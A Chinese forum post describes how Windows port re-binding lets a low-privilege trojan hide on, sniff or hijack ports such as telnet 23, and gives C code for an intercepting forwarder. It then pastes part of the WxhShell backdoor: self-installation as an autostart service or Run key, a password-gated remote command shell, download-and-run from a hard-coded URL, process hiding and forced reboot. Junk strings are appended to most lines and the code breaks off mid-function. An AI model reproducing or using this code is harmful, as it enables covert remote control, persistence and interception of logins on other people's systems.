社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19510阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `jeATxWv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Q`Of}#  
Q+Bl1xl  
  saddr.sin_family = AF_INET; $9YQ aN%  
Ll|-CY $  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .?u<|4jE6  
iYr)Ao5X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lrE"phYk  
RiTL(Yx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K$Bv4_|x  
]he~KO[j<  
  这意味着什么?意味着可以进行如下的攻击: `W x| 4  
$UzSPhv[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A}lxJ5h0  
% mQ&pk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) as@8L|i*  
qxI $F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?-j/X6(\(  
3S3 a|_+%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +<Gp >c  
MnD}i&k[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =K:[26  
s",Ea*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fn5BWV  
^=x/:0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l9 \W=-'  
#]dm/WzY  
  #include ~lV#- m*  
  #include wXUR9H|0(  
  #include o<5`uV!f  
  #include    [3X\"x5@V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }F]Z1('  
  int main() at?I @By  
  { I7_lKr3  
  WORD wVersionRequested; @K <Onh`  
  DWORD ret; /Q st :q  
  WSADATA wsaData; sV#%U%un  
  BOOL val; ~Z5AImR|  
  SOCKADDR_IN saddr; u4hn9**a1  
  SOCKADDR_IN scaddr; o%'1=d3R1Q  
  int err; YXp\C"~g  
  SOCKET s; >12jUm)  
  SOCKET sc; WHx #;  
  int caddsize; vEfj3+e  
  HANDLE mt; K3mP6Z#2  
  DWORD tid;   ! \s}A7  
  wVersionRequested = MAKEWORD( 2, 2 ); FF#Aq  
  err = WSAStartup( wVersionRequested, &wsaData ); IFBt#]l0  
  if ( err != 0 ) { H@-q NjM  
  printf("error!WSAStartup failed!\n"); +=/j+S`  
  return -1; wnC-~&+6  
  } d*tWFr|J-  
  saddr.sin_family = AF_INET; t0f7dU3e;L  
   n1; a~0P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bf/6AY7  
J299 mgB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V%4P.y  
  saddr.sin_port = htons(23); 4 Y=0>FlY0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ] !*K|?VL  
  { qeMDC#N  
  printf("error!socket failed!\n"); _=0Ja S>M.  
  return -1; to: ;:Goa  
  } >\K=)/W2  
  val = TRUE; )bg|l?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M IIa8 ;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oO;L l?~  
  { 3!9JXq%Hl  
  printf("error!setsockopt failed!\n"); uQ3sRJi  
  return -1; mo<*h&;&  
  } 2:|vJ<Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |]<#![!h#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b#@xg L*D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~ox}e(x y  
g#i~^4-1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3chx 4  
  { Pt85q?->  
  ret=GetLastError(); _xAru9=n^  
  printf("error!bind failed!\n"); vk|f"I  
  return -1; B{\Y~>]Pj  
  } l1]N&jN{  
  listen(s,2); (LsVd2AbR  
  while(1) d_(>:|o h  
  { W!HjO;  
  caddsize = sizeof(scaddr); (ORbhjl  
  //接受连接请求 Mo@{1K/9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J t.<Z&  
  if(sc!=INVALID_SOCKET) 8{0XqE~ix=  
  { SOG(&)b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GI{EP&C  
  if(mt==NULL) %!iqJ)*~  
  { NUM!'+H_h  
  printf("Thread Creat Failed!\n"); 5$+7Q$Gw  
  break; 7Wef[N\x  
  } g<;pyvq|:  
  } 0fstEExw  
  CloseHandle(mt); P8=|#yCi  
  } `ZL^+h<b>M  
  closesocket(s); jy0aKSn8  
  WSACleanup(); ue3 ].:  
  return 0; ,W+=N"`a'  
  }   h];H]15&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9Pg6,[*u  
  { ;F1y!h67<  
  SOCKET ss = (SOCKET)lpParam; xpp nBnu$7  
  SOCKET sc; 28v^j*=* \  
  unsigned char buf[4096]; sR$abN+u  
  SOCKADDR_IN saddr; Btznms'  
  long num; bCP2_h3*  
  DWORD val; "{@[06|1  
  DWORD ret; 9.xb-m7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 { (.@bT@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >]_6|Wfl  
  saddr.sin_family = AF_INET; W2h*t"5W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 78]*Jx>L  
  saddr.sin_port = htons(23); [&~x5l 8\C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7}qxWz  
  { j+'ua=T3  
  printf("error!socket failed!\n"); O: I]v@  
  return -1; #<Y3*^~5d  
  } CSjd&G *ZB  
  val = 100; A ___| #R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ma\%uEgTD  
  { 5Kd"W,  
  ret = GetLastError(); 5vD\?,f E  
  return -1; h)sT37  
  } 'r=2f6G>cP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vg?(0Gasm*  
  { 6{d?3Jk  
  ret = GetLastError(); >4bw4 Z1  
  return -1; :!Z|_y{b  
  } 7 `~0j6FY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _ LgP  
  { |5>A^a  
  printf("error!socket connect failed!\n"); O*+HK1q7  
  closesocket(sc); A%EhRAy  
  closesocket(ss); 5G6 Pp7[  
  return -1; DMA7eZf'Hv  
  } %npLgCF  
  while(1) ({Yfsf,  
  { O_s /BoB@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %gn@B2z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xqe Qj}2kA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cl#XiyK>  
  num = recv(ss,buf,4096,0); @Wd (>*"zw  
  if(num>0) 5jK|  
  send(sc,buf,num,0); (eb65F@P  
  else if(num==0) z( ^?xv  
  break; CUTjRWQ  
  num = recv(sc,buf,4096,0); M'|[:I.V  
  if(num>0) 8MW-JZ  
  send(ss,buf,num,0); 5o{U$  
  else if(num==0) dVq9'{[3  
  break; 8 |= c3Z  
  } =KO]w9+\  
  closesocket(ss); @fA| y  
  closesocket(sc); >&>EjK4?  
  return 0 ; XRM/d5  
  } m{>"  
x| D|d}  
|,KsJ2hD  
========================================================== [< 9%IGH  
fb0)("_V  
下边附上一个代码,,WXhSHELL w&#[g9G%  
d8 ~%(I9  
========================================================== D:K"J><@  
$EIKi'!8  
#include "stdafx.h" N:'GNMu  
A'}!'1  
#include <stdio.h> V@RdvQy  
#include <string.h> _nzTd\L88  
#include <windows.h> X:f5t`;  
#include <winsock2.h> H!FaI(YZl  
#include <winsvc.h> V*?QZ;hCP  
#include <urlmon.h> NH5sV.vvc  
t?^!OJ:L  
#pragma comment (lib, "Ws2_32.lib") w"D1mI!L 7  
#pragma comment (lib, "urlmon.lib") hX,RuI  
m0 W3pf  
#define MAX_USER   100 // 最大客户端连接数 lZkJ<*z#  
#define BUF_SOCK   200 // sock buffer ?t}s3P!Q3w  
#define KEY_BUFF   255 // 输入 buffer (VkO[5j  
r1.zURY  
#define REBOOT     0   // 重启 =>o !   
#define SHUTDOWN   1   // 关机 v 9G~i  
a` 9pHH:7Q  
#define DEF_PORT   5000 // 监听端口 Nz"K`C>/  
%c$|.TkX  
#define REG_LEN     16   // 注册表键长度 g"!cO^GkT  
#define SVC_LEN     80   // NT服务名长度 }/tf^@  
%Y/;jC Y  
// 从dll定义API $M,Q"QL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {[bpvK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZJFF4($qN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >^W6'Q$P<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vEG7A$Z"  
c9@3=6S/  
// wxhshell配置信息 }"RVUYU  
struct WSCFG { iVVR$uzhH  
  int ws_port;         // 监听端口 {&Rz>JK  
  char ws_passstr[REG_LEN]; // 口令 `X ()"Qw  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'b[O-6v  
  char ws_regname[REG_LEN]; // 注册表键名 ETX>wZ  
  char ws_svcname[REG_LEN]; // 服务名 AL&<SxuP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eC 2~&:$L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 04-@c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ze LIOw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f;+.j/ +  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f]sR4mhO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iz[IK%K  
oFt_ yU-  
}; h1B_*L   
8Bc2?NI=   
// default Wxhshell configuration xHx_! )7  
struct WSCFG wscfg={DEF_PORT, [(3 %$?[  
    "xuhuanlingzhe", W7.RA>  
    1, @qWClr{`  
    "Wxhshell", ~ e<,GUx(]  
    "Wxhshell", V3|" v4  
            "WxhShell Service", Zy)iNNtn  
    "Wrsky Windows CmdShell Service", T1?9E{bC8A  
    "Please Input Your Password: ", Cnc=GTR i  
  1, G^;]]Ji"  
  "http://www.wrsky.com/wxhshell.exe", [P6A $HC<  
  "Wxhshell.exe" ^?q(fK%  
    }; 9J_vvq`%`  
?J+*i d  
// 消息定义模块 Zu~t )W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a~!7A ZT-O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mu.oqT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9)[)0 7  
char *msg_ws_ext="\n\rExit."; .W9 *-  
char *msg_ws_end="\n\rQuit."; P uQ  
char *msg_ws_boot="\n\rReboot..."; 1n*"C!q  
char *msg_ws_poff="\n\rShutdown..."; bz,"TG[  
char *msg_ws_down="\n\rSave to "; =_6 Q26  
yk^2<?z>2  
char *msg_ws_err="\n\rErr!"; #K`[XA  
char *msg_ws_ok="\n\rOK!"; JvCy&xrE;  
 YO fYa  
char ExeFile[MAX_PATH]; 6/'X$}X  
int nUser = 0; t82*rC IB{  
HANDLE handles[MAX_USER]; z0YL,  
int OsIsNt; 9Ns%<FRO@  
;_ 1Rk&o!  
SERVICE_STATUS       serviceStatus; |<1A<fU8a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uTl"4;&j  
,Cy&tRjR B  
// 函数声明 m<;MOS  
int Install(void); >h9~ /  
int Uninstall(void); RN&8dsreZp  
int DownloadFile(char *sURL, SOCKET wsh); `USze0"t0:  
int Boot(int flag); Q2m 5&yy@s  
void HideProc(void); .G<Or`K^i  
int GetOsVer(void); l;h -`( 11  
int Wxhshell(SOCKET wsl); \f]w'qiW5  
void TalkWithClient(void *cs); nkN2Bqt$  
int CmdShell(SOCKET sock); C(KV5c  
int StartFromService(void); D51O/.:U2  
int StartWxhshell(LPSTR lpCmdLine); x6\^dVR}  
gA 5DEit  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |llmq'Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D-m%eP.  
ePSD#kY5  
// 数据结构和表定义 UpiZd/K  
SERVICE_TABLE_ENTRY DispatchTable[] = IG%x(\V-e  
{ O!F"w !5@  
{wscfg.ws_svcname, NTServiceMain}, 0N6 X;M{zh  
{NULL, NULL} wSALK)T1{  
}; _jVJkg)]  
;ae6h [  
// 自我安装 Fv nf;']q  
int Install(void) |^w&dj\,  
{ `"xzC $  
  char svExeFile[MAX_PATH]; '81Rwp  
  HKEY key; t?;=\%^<  
  strcpy(svExeFile,ExeFile); sI#h&V,9  
gaU^l73 ,C  
// 如果是win9x系统,修改注册表设为自启动 p@?(m/m$  
if(!OsIsNt) { &Ci_wDJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {-|El}.M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _JKz5hSl  
  RegCloseKey(key); =wl0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G+3uY25y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %2?"x*A  
  RegCloseKey(key); )R@Y$*fm  
  return 0; )1)&fN41i#  
    } IJ{VCzi  
  } *@YQr]~ ;  
} 6iEA._y  
else { V%^d~^m,H  
7=A @P  
// 如果是NT以上系统,安装为系统服务 tg~7^(s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )_ l( WF.  
if (schSCManager!=0) Ax4;[K\Q  
{ eW_EWVH  
  SC_HANDLE schService = CreateService nxuR^6 Ai  
  ( H_l>L9/\  
  schSCManager, B+'w'e$6  
  wscfg.ws_svcname, Lf Y[Z4  
  wscfg.ws_svcdisp, "?J f#  
  SERVICE_ALL_ACCESS, D]V&1n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #hEU)G' $+  
  SERVICE_AUTO_START, En8L1$_  
  SERVICE_ERROR_NORMAL, JgldC[|7  
  svExeFile, X(>aW*q  
  NULL, D6P/39}W  
  NULL, Z~"8C Kz  
  NULL, 7P52r  
  NULL, 'f.5hX(Y  
  NULL H_%ae' W  
  ); <9Ytv|t@0  
  if (schService!=0) L\t!)X-4  
  { ;|CG9|p  
  CloseServiceHandle(schService); <@v|~ AO4~  
  CloseServiceHandle(schSCManager); ><)fK5x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?bG82@-  
  strcat(svExeFile,wscfg.ws_svcname); j2#B l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tz/[P:O3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7{[i)  
  RegCloseKey(key); .R@euIva  
  return 0; 3TKl  
    } EmV ZqW  
  } 9lX+?m~ ~  
  CloseServiceHandle(schSCManager); (=s%>lW|  
} %S%0/  
} ?zK>[L  
g^k=z:n3,  
return 1; B=i%Z _r]w  
} MV?sr[V-oP  
+AOpB L'  
// 自我卸载 <)gTi759h)  
int Uninstall(void) & y7~  
{ dQAo~] B  
  HKEY key; M[&p[P@  
2AjP2  
if(!OsIsNt) { Nbm$ta  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PE+{<[n  
  RegDeleteValue(key,wscfg.ws_regname); U9//m=_  
  RegCloseKey(key);  p;vrPS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c=IjR3F  
  RegDeleteValue(key,wscfg.ws_regname); PW-sF  
  RegCloseKey(key); M3q7{w*bM  
  return 0; fR lJ`\ t  
  } v/G^yZa  
} ??Dv\yLZI  
} Ozc9yy!%  
else { ze#ncnMo  
M`@Es#s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AyMbwCR"X  
if (schSCManager!=0) `?vI_>md'!  
{ mP ^*nB@,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eqt>_n8  
  if (schService!=0) i th!,jY*i  
  { IpsV4nmnz-  
  if(DeleteService(schService)!=0) {  d|$-Sz  
  CloseServiceHandle(schService); JU-eoB}m  
  CloseServiceHandle(schSCManager); bg,VK1  
  return 0; l8N5}!N  
  } x>[ gShAV!  
  CloseServiceHandle(schService); A@I3:V  
  } j!?bE3r~  
  CloseServiceHandle(schSCManager); g7]g0*gxXW  
} !%G;t$U=M  
}  ev(E  
/C[XC7^4'  
return 1; T;B/ Wm!x  
} :J6FI6  
}+ TA+;  
// 从指定url下载文件 uulzJbV,K  
int DownloadFile(char *sURL, SOCKET wsh) O>arCr=H  
{ wRE2rsXoU  
  HRESULT hr; 9B1bq#  
char seps[]= "/"; [AAIBb +U  
char *token; @S  Quc  
char *file; Y/34~lhyl  
char myURL[MAX_PATH]; } 71 9_DF  
char myFILE[MAX_PATH]; <h1J+  
U{-[lpd  
strcpy(myURL,sURL); c}#(,<8X  
  token=strtok(myURL,seps); @-}!o&G0  
  while(token!=NULL) Z+! 96LR  
  { \&%y4=y<sE  
    file=token; v!rOT/I  
  token=strtok(NULL,seps); H?dEgubg7]  
  } o(Ro/U(Wu  
Sy34doAZ  
GetCurrentDirectory(MAX_PATH,myFILE); [E/^bM+  
strcat(myFILE, "\\"); F#\+.inO  
strcat(myFILE, file);  B*Q  
  send(wsh,myFILE,strlen(myFILE),0); \AB*C_Ri  
send(wsh,"...",3,0); ;Q%3WD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I6F $@  
  if(hr==S_OK) R2nDK7j  
return 0; uWerC?da  
else ,koG*sn  
return 1; l`RFi)u~&  
:<E\&6# oC  
} L~L]MC&  
M% FKg/  
// 系统电源模块 H6-{(: *<  
int Boot(int flag) ^VlPnx8y=  
{ ("j*!Dsd  
  HANDLE hToken; [fXC ;c1  
  TOKEN_PRIVILEGES tkp; 05vu{>  
ou'|e"tI  
  if(OsIsNt) { 4 {3< `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8*yk y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tsqWnz=)  
    tkp.PrivilegeCount = 1; R{Qvpd$y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ogKd}qTov  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WevXQ-eKm  
if(flag==REBOOT) { 7)v`l1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q e;O Ox  
  return 0; vpqMKyy  
} f%TP>)jag!  
else { u:O6MO9^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jj"?#`cW  
  return 0; U-:_4[  
} v@E/?\k"  
  } |oJ R+  
  else { v_ W03\  
if(flag==REBOOT) { Y@M l}43  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rlVo}kc7:  
  return 0; i"C?6R  
} Ol. rjz9  
else { de?lO ;8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <\S j5  
  return 0; z[ N_3n  
} t>>\U X  
} +S>}<OE  
yzmwNsu  
return 1; wPU<jAQyp  
} <S%kwS  
@IwVR  
// win9x进程隐藏模块 QG=&{-I~[3  
void HideProc(void) HxH=~B1"P  
{ s_N]$3'[E  
h^6Yjy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PyfOBse}r  
  if ( hKernel != NULL ) `` mi9E  
  { ]&/KAk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1)f~OL8o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y[@<goT  
    FreeLibrary(hKernel); *Ad7GG1/u  
  } yS:1F PA$_  
2Md'<.  
return; IKV:J9  
} ZIrJ"*QO=  
A?sU[b6_  
// 获取操作系统版本 PNMf5'@m  
int GetOsVer(void) x2g P, p-  
{ %?WmWs0  
  OSVERSIONINFO winfo; RDu'N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F DCHB~D  
  GetVersionEx(&winfo); c;e2= A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bswd20(w  
  return 1; J]|lCwF  
  else \dag~b<  
  return 0; <\cH9D`dE  
} S*1Km&  
NCM&6<_  
// 客户端句柄模块 : Gz#4k  
int Wxhshell(SOCKET wsl) zl !`*{T{  
{ U'acVcD  
  SOCKET wsh; 1$Pn;jg:  
  struct sockaddr_in client; UMJ>6 Ko8  
  DWORD myID; <KDl2>O  
Rl"" aZ  
  while(nUser<MAX_USER) yxa~R z/  
{ qm)KO 4  
  int nSize=sizeof(client); 5CsJghTw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r. :H`  
  if(wsh==INVALID_SOCKET) return 1; Vhs:X~=qL  
61J01(+|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x@]pUA1  
if(handles[nUser]==0) _8'FI_E3  
  closesocket(wsh); P2Ja*!K]  
else vK\;CSk  
  nUser++; oGLSk (T&I  
  } K>`7f]?H*e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E@_M|=p&  
nJ4CXSdE  
  return 0; e1RtoNF^  
} ;U|^Tsuc`  
h?:lO3)TL=  
// 关闭 socket z AxwM-`  
void CloseIt(SOCKET wsh) q#RVi8('  
{ WqC6 c&NM  
closesocket(wsh); TvWhy`RQ  
nUser--; ;mLbJT   
ExitThread(0); 2Ax HhD.  
} Tdr^~dcQ  
M9@#W"  
// 客户端请求句柄 #mX=Y>l  
void TalkWithClient(void *cs) xe: D7  
{ ;6} *0V_!k  
|j i}LWcD  
  SOCKET wsh=(SOCKET)cs; G'z&U?Ng  
  char pwd[SVC_LEN]; 8P3EQY -  
  char cmd[KEY_BUFF]; d*lnXzQor  
char chr[1]; <oS k!6*  
int i,j; R?Q@)POW  
+*Cg2`  
  while (nUser < MAX_USER) { 8<t?o'9I  
<&o `T4  
if(wscfg.ws_passstr) { .O'gD.|^N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <)]B$~(a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nky%v+r  
  //ZeroMemory(pwd,KEY_BUFF); 5}R /C{fs  
      i=0; &:-`3J-  
  while(i<SVC_LEN) { $s hlNW\  
zy#E qv  
  // 设置超时 G2kr~FG  
  fd_set FdRead; 4\?I4|{pC  
  struct timeval TimeOut; ujcNSX*  
  FD_ZERO(&FdRead); PL8eM]XS  
  FD_SET(wsh,&FdRead); 'B"kUh%3$5  
  TimeOut.tv_sec=8; g2hxWf"  
  TimeOut.tv_usec=0; 3Lq?Y7#KQp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =ot`V; Q>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [pmZ0/l  
P,O9On  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KW.S)+<H&  
  pwd=chr[0]; HFx8v!^5N  
  if(chr[0]==0xd || chr[0]==0xa) { '8>#`Yba  
  pwd=0; T"Wq:  
  break; )*^PMf  
  }  -[a0\H  
  i++; "$#x+|PyC  
    } 'W$jHs  
f$k#\=2%  
  // 如果是非法用户,关闭 socket )4a&OlEI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ];1z%.  
} <9/oqp{C4  
7fl'nCo\"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EPr{1Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F5J=+Q%8[&  
;G~0 VM2|  
while(1) { 9h$-:y3  
o"v> BhpC  
  ZeroMemory(cmd,KEY_BUFF); $<]y.nr|CX  
lE[LdmwDrb  
      // 自动支持客户端 telnet标准   >.#uoW4ZV  
  j=0; JPiC/  
  while(j<KEY_BUFF) { 1` m ~c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yaA9* k  
  cmd[j]=chr[0]; 5in6Y5ckj  
  if(chr[0]==0xa || chr[0]==0xd) { wLU w'Ai  
  cmd[j]=0; ^<<( }3  
  break; 5gV8=Ml"V  
  } d?&?$qf[  
  j++; q!<`ci,uS  
    } {:Z#8dGe  
S]1+tj  
  // 下载文件 [8SW0wsk  
  if(strstr(cmd,"http://")) { cCU'~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OR( )D~:n  
  if(DownloadFile(cmd,wsh)) :M ix*NCf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[M]2h  
  else '8k\a{t_z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (1(3:)@S6  
  } Os8]iNvW\  
  else { 8R:H{)o~s}  
`/]8C &u  
    switch(cmd[0]) { =X>3C"]  
  *s?&)][  
  // 帮助 XT= #+  
  case '?': { 4lb3quY$Us  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rg_-gZl8&z  
    break; f8N  
  } bR*T}w$<  
  // 安装 $z{HNY* 2  
  case 'i': { QD<^VY6  
    if(Install()) !V@Y \M d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<tH 3I+   
    else \9i.dF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); klUxt?-  
    break; !U,qr0h  
    } q&Q* gEFK  
  // 卸载 9|Jmj @9  
  case 'r': { b3EW"^Ar  
    if(Uninstall()) [4Glt>Nj>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F^T7u?^)  
    else J`}/+WN7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 68)z`JI|<)  
    break; KzeA+PI  
    }  O\]CfzR  
  // 显示 wxhshell 所在路径 lbT<HWzNH  
  case 'p': { %MbjKw  
    char svExeFile[MAX_PATH]; Lvv`_  
    strcpy(svExeFile,"\n\r"); w*#k&N[X  
      strcat(svExeFile,ExeFile); WqY:XE+?\  
        send(wsh,svExeFile,strlen(svExeFile),0); ;csAhkf:S  
    break; xYM/{[  
    } ^lRXc.c z  
  // 重启 x}N+vK   
  case 'b': { z=>]E 1'RL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A~nq4@uj  
    if(Boot(REBOOT)) _\sm$ `q  
